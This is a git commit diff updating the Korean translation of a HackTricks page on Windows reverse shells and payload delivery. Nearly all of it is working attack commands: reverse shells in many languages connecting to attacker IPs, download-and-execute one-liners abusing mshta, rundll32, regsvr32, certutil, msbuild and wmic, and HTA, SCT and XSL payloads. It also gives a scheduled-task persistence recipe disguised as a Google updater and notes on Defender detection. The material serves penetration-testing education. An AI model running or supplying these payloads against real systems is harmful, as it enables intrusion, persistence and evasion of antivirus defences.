mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/av-bypass.md', 'src/reversing/common-
This commit is contained in:
parent
b13c999e7f
commit
1aa841cbb6
@ -4,8 +4,8 @@
|
||||
|
||||
## Lolbas
|
||||
|
||||
페이지 [lolbas-project.github.io](https://lolbas-project.github.io/)는 Windows를 위한 것으로, [https://gtfobins.github.io/](https://gtfobins.github.io/)는 리눅스를 위한 것입니다.\
|
||||
명백히, **Windows에는 SUID 파일이나 sudo 권한이 없습니다**, 하지만 **어떻게** 일부 **바이너리**가 **임의의 코드를 실행하는** 것과 같은 예기치 않은 작업을 수행하는 데 (악용)될 수 있는지 아는 것은 유용합니다.
|
||||
페이지 [lolbas-project.github.io](https://lolbas-project.github.io/)는 Windows용이며 [https://gtfobins.github.io/](https://gtfobins.github.io/)는 linux용입니다.\
|
||||
물론 **there aren't SUID files or sudo privileges in Windows**, 하지만 일부 **binaries**가 어떻게 (ab)used 되어 **execute arbitrary code.**와 같은 의도치 않은 동작을 수행할 수 있는지 아는 것은 유용합니다.
|
||||
|
||||
## NC
|
||||
```bash
|
||||
@ -13,13 +13,13 @@ nc.exe -e cmd.exe <Attacker_IP> <PORT>
|
||||
```
|
||||
## NCAT
|
||||
|
||||
희생자
|
||||
피해자
|
||||
```
|
||||
ncat.exe <Attacker_IP> <PORT> -e "cmd.exe /c (cmd.exe 2>&1)"
|
||||
#Encryption to bypass firewall
|
||||
ncat.exe <Attacker_IP> <PORT eg.443> --ssl -e "cmd.exe /c (cmd.exe 2>&1)"
|
||||
```
|
||||
공격자
|
||||
attacker
|
||||
```
|
||||
ncat -l <PORT>
|
||||
#Encryption to bypass firewall
|
||||
@ -27,7 +27,7 @@ ncat -l <PORT eg.443> --ssl
|
||||
```
|
||||
## SBD
|
||||
|
||||
**[sbd](https://www.kali.org/tools/sbd/)는 휴대 가능하고 안전한 Netcat 대안입니다**. Unix 유사 시스템과 Win32에서 작동합니다. 강력한 암호화, 프로그램 실행, 사용자 정의 가능한 소스 포트 및 지속적인 재연결과 같은 기능을 갖춘 sbd는 TCP/IP 통신을 위한 다재다능한 솔루션을 제공합니다. Windows 사용자에게는 Kali Linux 배포판의 sbd.exe 버전을 Netcat의 신뢰할 수 있는 대체품으로 사용할 수 있습니다.
|
||||
**[sbd](https://www.kali.org/tools/sbd/) 은 휴대 가능하고 안전한 Netcat 대안입니다.** Unix-like 시스템과 Win32에서 작동합니다. 강력한 암호화, 프로그램 실행, 사용자 지정 가능한 소스 포트, 지속적인 재연결 같은 기능을 통해 sbd는 TCP/IP 통신을 위한 다용도 솔루션을 제공합니다. Windows 사용자는 Kali Linux 배포판의 sbd.exe 버전을 Netcat의 신뢰할 수 있는 대체제로 사용할 수 있습니다.
|
||||
```bash
|
||||
# Victims machine
|
||||
sbd -l -p 4444 -e bash -v -n
|
||||
@ -39,34 +39,34 @@ sbd 10.10.10.10 4444
|
||||
id
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
```
|
||||
## 파이썬
|
||||
## Python
|
||||
```bash
|
||||
#Windows
|
||||
C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"
|
||||
```
|
||||
## 펄
|
||||
## Perl
|
||||
```bash
|
||||
perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
|
||||
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
|
||||
```
|
||||
## 루비
|
||||
## Ruby
|
||||
```bash
|
||||
#Windows
|
||||
ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
|
||||
```
|
||||
## 루아
|
||||
## Lua
|
||||
```bash
|
||||
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
|
||||
```
|
||||
## OpenSSH
|
||||
|
||||
공격자 (Kali)
|
||||
Attacker (Kali)
|
||||
```bash
|
||||
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
|
||||
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
|
||||
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response
|
||||
```
|
||||
희생자
|
||||
피해자
|
||||
```bash
|
||||
#Linux
|
||||
openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
|
||||
@ -74,7 +74,7 @@ openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_clien
|
||||
#Windows
|
||||
openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
|
||||
```
|
||||
## 파워셸
|
||||
## Powershell
|
||||
```bash
|
||||
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
|
||||
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')"
|
||||
@ -82,22 +82,22 @@ Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadStr
|
||||
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile
|
||||
```
|
||||
네트워크 호출을 수행하는 프로세스: **powershell.exe**\
|
||||
디스크에 기록된 페이로드: **아니오** (_적어도 procmon을 사용하여 찾을 수 있는 곳에서는 !_ )
|
||||
Payload가 디스크에 기록됨: **아니오** (_적어도 procmon으로는 찾을 수 없었습니다!_)
|
||||
```bash
|
||||
powershell -exec bypass -f \\webdavserver\folder\payload.ps1
|
||||
```
|
||||
네트워크 호출을 수행하는 프로세스: **svchost.exe**\
|
||||
디스크에 기록된 페이로드: **WebDAV 클라이언트 로컬 캐시**
|
||||
디스크에 기록된 Payload: **WebDAV 클라이언트 로컬 캐시**
|
||||
|
||||
**원라이너:**
|
||||
**한 줄 명령:**
|
||||
```bash
|
||||
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
|
||||
```
|
||||
**이 문서의 끝에서 다양한 Powershell Shell에 대한 추가 정보를 얻으세요**
|
||||
**이 문서 끝에서 다양한 Powershell Shells에 대한 자세한 정보를 확인하세요**
|
||||
|
||||
## Mshta
|
||||
|
||||
- [여기에서](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
```bash
|
||||
mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))
|
||||
```
|
||||
@ -109,15 +109,15 @@ mshta http://webserver/payload.hta
|
||||
```bash
|
||||
mshta \\webdavserver\folder\payload.hta
|
||||
```
|
||||
#### **hta-psh 리버스 셸 예제 (hta를 사용하여 PS 백도어 다운로드 및 실행)**
|
||||
#### **hta-psh reverse shell 예시 (hta를 사용하여 PS backdoor를 다운로드하고 실행)**
|
||||
```xml
|
||||
<scRipt language="VBscRipT">CreateObject("WscrIpt.SheLL").Run "powershell -ep bypass -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')"</scRipt>
|
||||
```
|
||||
**Koadic 좀비를 stager hta를 사용하여 매우 쉽게 다운로드하고 실행할 수 있습니다.**
|
||||
**stager hta를 사용해 Koadic zombie를 매우 쉽게 download & execute할 수 있습니다**
|
||||
|
||||
#### hta 예제
|
||||
|
||||
[**여기에서**](https://gist.github.com/Arno0x/91388c94313b70a9819088ddf760683f)
|
||||
[**From here**](https://gist.github.com/Arno0x/91388c94313b70a9819088ddf760683f)
|
||||
```xml
|
||||
<html>
|
||||
<head>
|
||||
@ -134,7 +134,7 @@ new ActiveXObject('WScript.Shell').Run(c);
|
||||
```
|
||||
#### **mshta - sct**
|
||||
|
||||
[**여기에서**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
|
||||
[**From here**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
|
||||
```xml
|
||||
<?XML version="1.0"?>
|
||||
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); -->
|
||||
@ -161,13 +161,13 @@ msf exploit(windows/misc/hta_server) > exploit
|
||||
```bash
|
||||
Victim> mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta #The file name is given in the output of metasploit
|
||||
```
|
||||
**탐지됨**
|
||||
**Defender에 의해 탐지됨**
|
||||
|
||||
## **Rundll32**
|
||||
|
||||
[**Dll hello world 예제**](https://github.com/carterjones/hello-world-dll)
|
||||
[**Dll hello world example**](https://github.com/carterjones/hello-world-dll)
|
||||
|
||||
- [여기에서](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
```bash
|
||||
rundll32 \\webdavserver\folder\payload.dll,entrypoint
|
||||
```
|
||||
@ -175,11 +175,11 @@ rundll32 \\webdavserver\folder\payload.dll,entrypoint
|
||||
```bash
|
||||
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();
|
||||
```
|
||||
**탐지됨 - defender**
|
||||
**defender에 의해 탐지됨**
|
||||
|
||||
**Rundll32 - sct**
|
||||
|
||||
[**여기에서**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
|
||||
[**From here**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
|
||||
```xml
|
||||
<?XML version="1.0"?>
|
||||
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); -->
|
||||
@ -211,7 +211,7 @@ rundll32.exe javascript:"\..\mshtml, RunHTMLApplication ";x=new%20ActiveXObject(
|
||||
```
|
||||
## Regsvr32
|
||||
|
||||
- [여기에서](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
- [원문](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
```bash
|
||||
regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
|
||||
```
|
||||
@ -219,11 +219,32 @@ regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
|
||||
```
|
||||
regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll
|
||||
```
|
||||
**탐지됨 by defender**
|
||||
**Defender에 의해 탐지됨**
|
||||
|
||||
#### Regsvr32 -sct
|
||||
#### Regsvr32 – /i 인자를 사용한 임의 DLL export (게이트키핑 및 지속성)
|
||||
|
||||
[**여기에서**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1)
|
||||
원격 scriptlets (`scrobj.dll`) 로딩 외에도, `regsvr32.exe`는 로컬 DLL을 로드하고 그 `DllRegisterServer`/`DllUnregisterServer` exports를 호출합니다. 맞춤형 loaders는 종종 이 동작을 악용하여 서명된 LOLBin과 섞여 임의 코드를 실행합니다. 실전에서 관찰된 두 가지 트레이드크래프트 노트:
|
||||
|
||||
- Gatekeeping argument: DLL은 특정 스위치가 `/i:<arg>`로 전달되지 않으면 종료합니다. 예: Chromium renderer 자식 프로세스를 모방하기 위한 `/i:--type=renderer`. 이는 우발적 실행을 줄이고 샌드박스를 방해합니다.
|
||||
- Persistence: 업데이터 작업으로 가장하여 silent + 높은 권한과 필요한 `/i` 인자를 사용해 DLL을 실행하도록 `regsvr32`를 스케줄링:
|
||||
|
||||
```powershell
|
||||
Register-ScheduledTask \
|
||||
-Action (New-ScheduledTaskAction -Execute "regsvr32" -Argument "/s /i:--type=renderer \"%APPDATA%\Microsoft\SystemCertificates\<name>.dll\"") \
|
||||
-Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) \
|
||||
-TaskName 'GoogleUpdaterTaskSystem196.6.2928.90.{FD10B0DF-...}' \
|
||||
-TaskPath '\\GoogleSystem\\GoogleUpdater' \
|
||||
-Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -ExecutionTimeLimit 0 -DontStopOnIdleEnd) \
|
||||
-RunLevel Highest
|
||||
```
|
||||
|
||||
참고: ClickFix의 clipboard‑to‑PowerShell 변형은 JS loader를 스테이지한 후 `regsvr32`로 지속성을 확보합니다.
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/phishing-methodology/clipboard-hijacking.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
[**출처**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1)
|
||||
```html
|
||||
<?XML version="1.0"?>
|
||||
<!-- regsvr32 /u /n /s /i:http://webserver/regsvr32.sct scrobj.dll -->
|
||||
@ -249,21 +270,21 @@ set lhost 10.2.0.5
|
||||
run
|
||||
#You will be given the command to run in the victim: regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll
|
||||
```
|
||||
**Koadic 좀비를 stager regsvr를 사용하여 매우 쉽게 다운로드하고 실행할 수 있습니다.**
|
||||
**stager regsvr를 사용하여 Koadic zombie를 매우 쉽게 download & execute할 수 있습니다**
|
||||
|
||||
## Certutil
|
||||
|
||||
- [여기에서](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
|
||||
B64dll을 다운로드하고, 디코드한 후 실행합니다.
|
||||
B64dll을 download하여 decode한 후 execute합니다.
|
||||
```bash
|
||||
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll
|
||||
```
|
||||
B64exe를 다운로드하고, 디코드한 후 실행합니다.
|
||||
B64exe를 다운로드하여 디코드한 뒤 실행하세요.
|
||||
```bash
|
||||
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe
|
||||
```
|
||||
**탐지됨 by defender**
|
||||
**defender에 의해 탐지됨**
|
||||
|
||||
## **Cscript/Wscript**
|
||||
```bash
|
||||
@ -273,14 +294,14 @@ powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.2.0
|
||||
```bash
|
||||
msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > shell.vbs
|
||||
```
|
||||
**디펜더에 의해 탐지됨**
|
||||
**defender에 의해 탐지됨**
|
||||
|
||||
## PS-Bat
|
||||
```bash
|
||||
\\webdavserver\folder\batchfile.bat
|
||||
```
|
||||
네트워크 호출을 수행하는 프로세스: **svchost.exe**\
|
||||
디스크에 기록된 페이로드: **WebDAV 클라이언트 로컬 캐시**
|
||||
Payload가 디스크에 기록됨: **WebDAV client local cache**
|
||||
```bash
|
||||
msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 > shell.bat
|
||||
impacket-smbserver -smb2support kali `pwd`
|
||||
@ -289,7 +310,7 @@ impacket-smbserver -smb2support kali `pwd`
|
||||
```bash
|
||||
\\10.8.0.3\kali\shell.bat
|
||||
```
|
||||
**탐지됨 방어자에 의해**
|
||||
**defender에 의해 탐지됨**
|
||||
|
||||
## **MSIExec**
|
||||
|
||||
@ -298,11 +319,11 @@ impacket-smbserver -smb2support kali `pwd`
|
||||
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.2.0.5 lport=1234 -f msi > shell.msi
|
||||
python -m SimpleHTTPServer 80
|
||||
```
|
||||
희생자:
|
||||
대상:
|
||||
```
|
||||
victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi
|
||||
```
|
||||
**감지됨**
|
||||
**탐지됨**
|
||||
|
||||
## **Wmic**
|
||||
|
||||
@ -310,7 +331,7 @@ victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi
|
||||
```bash
|
||||
wmic os get /format:"https://webserver/payload.xsl"
|
||||
```
|
||||
예제 xsl 파일 [여기에서](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7):
|
||||
예제 xsl 파일 [from here](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7):
|
||||
```xml
|
||||
<?xml version='1.0'?>
|
||||
<stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:user="placeholder" version="1.0">
|
||||
@ -324,16 +345,15 @@ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object N
|
||||
```
|
||||
**탐지되지 않음**
|
||||
|
||||
**wmic 스테이저를 사용하여 Koadic 좀비를 매우 쉽게 다운로드하고 실행할 수 있습니다.**
|
||||
**stager wmic를 사용하면 Koadic zombie를 아주 쉽게 다운로드하고 실행할 수 있습니다**
|
||||
|
||||
## Msbuild
|
||||
|
||||
- [여기에서](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
```
|
||||
cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"
|
||||
```
|
||||
이 기술을 사용하여 Application Whitelisting 및 Powershell.exe 제한을 우회할 수 있습니다. PS 셸이 표시됩니다.\
|
||||
이것을 다운로드하고 실행하세요: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj)
|
||||
이 기법은 Application Whitelisting 및 Powershell.exe 제한을 우회하는 데 사용할 수 있습니다. PS shell이 표시됩니다.\ 다운로드하여 실행하세요: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj)
|
||||
```
|
||||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj
|
||||
```
|
||||
@ -345,7 +365,7 @@ C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj
|
||||
```
|
||||
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs
|
||||
```
|
||||
여기에서 기본 C# 리버스 셸을 다운로드할 수 있습니다: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)
|
||||
여기에서 기본 C# reverse shell을 다운로드할 수 있습니다: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)
|
||||
|
||||
**탐지되지 않음**
|
||||
|
||||
@ -355,7 +375,7 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe s
|
||||
```bash
|
||||
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll
|
||||
```
|
||||
**나는 시도해보지 않았다**
|
||||
**시도해보지 않았습니다**
|
||||
|
||||
[**https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182**](https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182)
|
||||
|
||||
@ -365,7 +385,7 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\fol
|
||||
```bash
|
||||
odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
|
||||
```
|
||||
**나는 시도해보지 않았다**
|
||||
**시도해보지 않았습니다**
|
||||
|
||||
[**https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2**](https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2)
|
||||
|
||||
@ -375,29 +395,29 @@ odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
|
||||
|
||||
[https://github.com/samratashok/nishang](https://github.com/samratashok/nishang)
|
||||
|
||||
**Shells** 폴더에는 다양한 쉘이 많이 있다. Invoke-_PowerShellTcp.ps1_를 다운로드하고 실행하려면 스크립트의 복사본을 만들고 파일 끝에 추가하십시오:
|
||||
**Shells** 폴더에는 다양한 shells가 있습니다. Invoke-_PowerShellTcp.ps1_를 다운로드하고 실행하려면 스크립트를 복사한 뒤 파일 끝에 추가하세요:
|
||||
```
|
||||
Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444
|
||||
```
|
||||
웹 서버에서 스크립트를 제공하고 피해자의 끝에서 실행합니다:
|
||||
web server에서 script를 제공하고 피해자 측에서 실행하세요:
|
||||
```
|
||||
powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"
|
||||
```
|
||||
Defender는 이를 악성 코드로 탐지하지 않습니다 (아직, 2019년 3월 4일).
|
||||
Defender는 아직 이를 악성 코드로 탐지하지 않습니다 (3/04/2019).
|
||||
|
||||
**TODO: 다른 nishang 셸 확인하기**
|
||||
**TODO: 다른 nishang shells 확인하기**
|
||||
|
||||
### **PS-Powercat**
|
||||
|
||||
[**https://github.com/besimorhino/powercat**](https://github.com/besimorhino/powercat)
|
||||
|
||||
다운로드하고, 웹 서버를 시작하고, 리스너를 시작한 후, 피해자의 끝에서 실행합니다:
|
||||
다운로드하고, 웹 서버를 시작한 뒤, listener를 시작하고 피해자 측에서 실행합니다:
|
||||
```
|
||||
powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
|
||||
```
|
||||
Defender는 이를 악성 코드로 탐지하지 않습니다 (아직, 2019년 3월 4일).
|
||||
Defender는 아직 이를 malicious code로 탐지하지 않습니다 (3/04/2019).
|
||||
|
||||
**powercat이 제공하는 다른 옵션:**
|
||||
**powercat에서 제공하는 다른 옵션:**
|
||||
|
||||
Bind shells, Reverse shell (TCP, UDP, DNS), Port redirect, upload/download, Generate payloads, Serve files...
|
||||
```
|
||||
@ -420,37 +440,37 @@ powercat -l -p 443 -i C:\inputfile -rep
|
||||
|
||||
[https://github.com/EmpireProject/Empire](https://github.com/EmpireProject/Empire)
|
||||
|
||||
파워셸 실행기를 생성하고, 파일에 저장한 후 다운로드하여 실행합니다.
|
||||
powershell 런처를 생성하고 파일로 저장한 다음 다운로드하여 실행합니다.
|
||||
```
|
||||
powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
|
||||
```
|
||||
**악성 코드로 감지됨**
|
||||
**악성 코드로 탐지됨**
|
||||
|
||||
### MSF-Unicorn
|
||||
|
||||
[https://github.com/trustedsec/unicorn](https://github.com/trustedsec/unicorn)
|
||||
|
||||
유니콘을 사용하여 메타스플로잇 백도어의 파워셸 버전을 생성합니다.
|
||||
unicorn을 사용하여 powershell 버전의 metasploit backdoor를 생성합니다.
|
||||
```
|
||||
python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443
|
||||
```
|
||||
생성된 리소스로 msfconsole을 시작합니다:
|
||||
생성한 resource로 msfconsole을 시작하세요:
|
||||
```
|
||||
msfconsole -r unicorn.rc
|
||||
```
|
||||
웹 서버를 시작하여 _powershell_attack.txt_ 파일을 제공하고 피해자에서 실행합니다:
|
||||
피해자에서 실행하도록 _powershell_attack.txt_ 파일을 제공하는 웹 서버를 시작하세요:
|
||||
```
|
||||
powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
|
||||
```
|
||||
**악성 코드로 감지됨**
|
||||
**악성 코드로 탐지됨**
|
||||
|
||||
## 더 알아보기
|
||||
## 추가
|
||||
|
||||
[PS>Attack](https://github.com/jaredhaight/PSAttack) PS 콘솔에 일부 공격적인 PS 모듈이 미리 로드됨 (암호화됨)\
|
||||
[PS>Attack](https://github.com/jaredhaight/PSAttack) PS 콘솔로 일부 offensive PS modules가 사전 로드되어 있음 (암호화됨)\
|
||||
[https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c)[\
|
||||
WinPWN](https://github.com/SecureThisShit/WinPwn) PS 콘솔에 일부 공격적인 PS 모듈과 프록시 탐지 기능이 포함됨 (IEX)
|
||||
WinPWN](https://github.com/SecureThisShit/WinPwn) PS 콘솔로 일부 offensive PS modules 및 프록시 감지 포함 (IEX)
|
||||
|
||||
## 참고자료
|
||||
## References
|
||||
|
||||
- [https://highon.coffee/blog/reverse-shell-cheat-sheet/](https://highon.coffee/blog/reverse-shell-cheat-sheet/)
|
||||
- [https://gist.github.com/Arno0x](https://gist.github.com/Arno0x)
|
||||
@ -459,5 +479,6 @@ WinPWN](https://github.com/SecureThisShit/WinPwn) PS 콘솔에 일부 공격적
|
||||
- [https://www.hackingarticles.in/koadic-com-command-control-framework/](https://www.hackingarticles.in/koadic-com-command-control-framework/)
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
|
||||
- [https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
- [Check Point Research – Under the Pure Curtain: From RAT to Builder to Coder](https://research.checkpoint.com/2025/under-the-pure-curtain-from-rat-to-builder-to-coder/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,15 +2,15 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
